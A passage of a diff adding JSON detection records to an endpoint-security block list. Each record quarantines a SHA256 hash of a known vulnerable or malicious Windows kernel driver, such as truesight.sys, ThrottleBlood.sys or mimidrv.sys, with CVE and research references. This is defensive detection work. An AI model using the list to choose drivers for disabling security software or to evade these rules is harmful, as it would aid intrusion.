+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45b0f535-3779-51fb-a9d2-9678488937b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614700Z",
+  "creation_date": "2026-03-23T11:45:29.614702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45b8251c-2d88-589a-b737-2e6d1e6c782c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828423Z",
+  "creation_date": "2026-03-23T11:45:31.828425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4359b5925ca4333933552b4c44efe4f9d9378e54df71f7c70a9e2fdb20c2bbb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45c30462-2dfe-54f7-b520-75808fe202bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811204Z",
+  "creation_date": "2026-03-23T11:45:31.811206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33021ab48739c767cabe762c52a7720fafdd796f8b86027000cbcce295b04458",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45c3597a-d563-5126-84f8-f26aefb09714",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160830Z",
+  "creation_date": "2026-03-23T11:45:31.160832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05f535063639c8bdfd1ef2054bff3f58ef9f4f30e88d7eeecb9f8ee915be535e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45d06e78-c471-5ae4-82ac-b14c298f662f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156672Z",
+  "creation_date": "2026-03-23T11:45:31.156674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b76bdd3647d1124d3e750092a5bfaffa26b6c4f79e0891188c167f97ccb78675",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45f62cec-5051-5f7b-a9f9-3df131519b39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821815Z",
+  "creation_date": "2026-03-23T11:45:30.821818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "665b45ff2a2054ffdb3ea55031802c1d7fd3db843ecbcf74b227e0200b37cd56",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "45f69431-1fe9-57bf-b081-fe01af4598e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486997Z",
+  "creation_date": "2026-03-23T11:45:31.487000Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f437fc04c721810d1885248c8f6caa1438e3af339502d2319dd3fca265fcad7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46000d63-b246-570c-9312-3f794e710c45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148520Z",
+  "creation_date": "2026-03-23T11:45:31.148522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148527Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e85fc55ac3ccd0525ca75e38f2b014d292e49fe6a3d795ff1714600e7120eb02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46013a0a-36d1-5140-abd5-83690ddb64b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492945Z",
+  "creation_date": "2026-03-23T11:45:31.492955Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492964Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e57d43143afad8fbefa89a9a9da758e3e22bb56c75f337dc78517a633716407",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "460187ee-1b30-5c92-a3cd-0d53b85c4095",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147022Z",
+  "creation_date": "2026-03-23T11:45:32.147024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147029Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0",
+  "comment": "Vulnerable Kernel Driver (aka ThrottleBlood.sys) [https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4613b875-0d91-5a2c-b65d-7ff847735fc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606192Z",
+  "creation_date": "2026-03-23T11:45:29.606194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46197192-f5c9-53ab-8c11-a765e383da3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614998Z",
+  "creation_date": "2026-03-23T11:45:29.614999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615005Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "461a88fe-467f-5879-a1ab-0f061f0ae7cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610898Z",
+  "creation_date": "2026-03-23T11:45:29.610900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "461fb871-c844-5066-8f78-7de76b501241",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814602Z",
+  "creation_date": "2026-03-23T11:45:31.814605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814614Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9293cc70bc90846a6a22e6b6b2db2c5c6a15c9607646a97277d0b2efc64191d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "462d378c-22a9-5cf7-a851-c72a93328ae8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464424Z",
+  "creation_date": "2026-03-23T11:45:30.464427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52f3905bbd97dcd2dbd22890e5e8413b9487088f1ee2fa828030a6a45b3975fd",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4641820e-ef98-555c-80a7-466b06a7765f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817569Z",
+  "creation_date": "2026-03-23T11:45:31.817571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bbfcfb9793d8c06af261bdb80838a5b8d4a6623bd99207511179e49af015eb7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "464a351e-996d-5c37-a861-927ae7688a82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817187Z",
+  "creation_date": "2026-03-23T11:45:31.817189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79d14e50c465c3d395d636876edbbbe305843c745180f6cda854db28c97d4990",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "466d4cc1-2fc4-509b-a5d9-a32a6e3b7f6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980323Z",
+  "creation_date": "2026-03-23T11:45:29.980325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c2d2122ef7a100e1651f2ec50528c0d1a2b8a71c075461f0dc58a1aca36bc61",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4678d189-f7e0-5062-9e72-c7c2aa9675b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454153Z",
+  "creation_date": "2026-03-23T11:45:30.454156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "367035e87b8a361bdc51f55a2467b2606eb29feae3af892d8c17df1841c20b97",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4681e49b-3a92-5ed3-9955-eee7b359aa2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622862Z",
+  "creation_date": "2026-03-23T11:45:29.622864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "542cd21b0c835b818e6b2eea2efe5b340ff3d554b2b7e13af084f0817cc920fd",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4688935a-aa68-54bb-8403-ccd265f93dec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831730Z",
+  "creation_date": "2026-03-23T11:45:30.831732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69e26ad15c0a8128af8b33d0eed0674137f040386fba9bdb2951f5316380047f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "468b5f63-5c34-568c-a2ae-1478c843abb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816845Z",
+  "creation_date": "2026-03-23T11:45:30.816849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816855Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63865f04c1150655817ed4c9f56ad9f637d41ebd2965b6127fc7c02757a7800e",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "468ef357-2cbb-5060-a4fe-f2c4969e2a73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
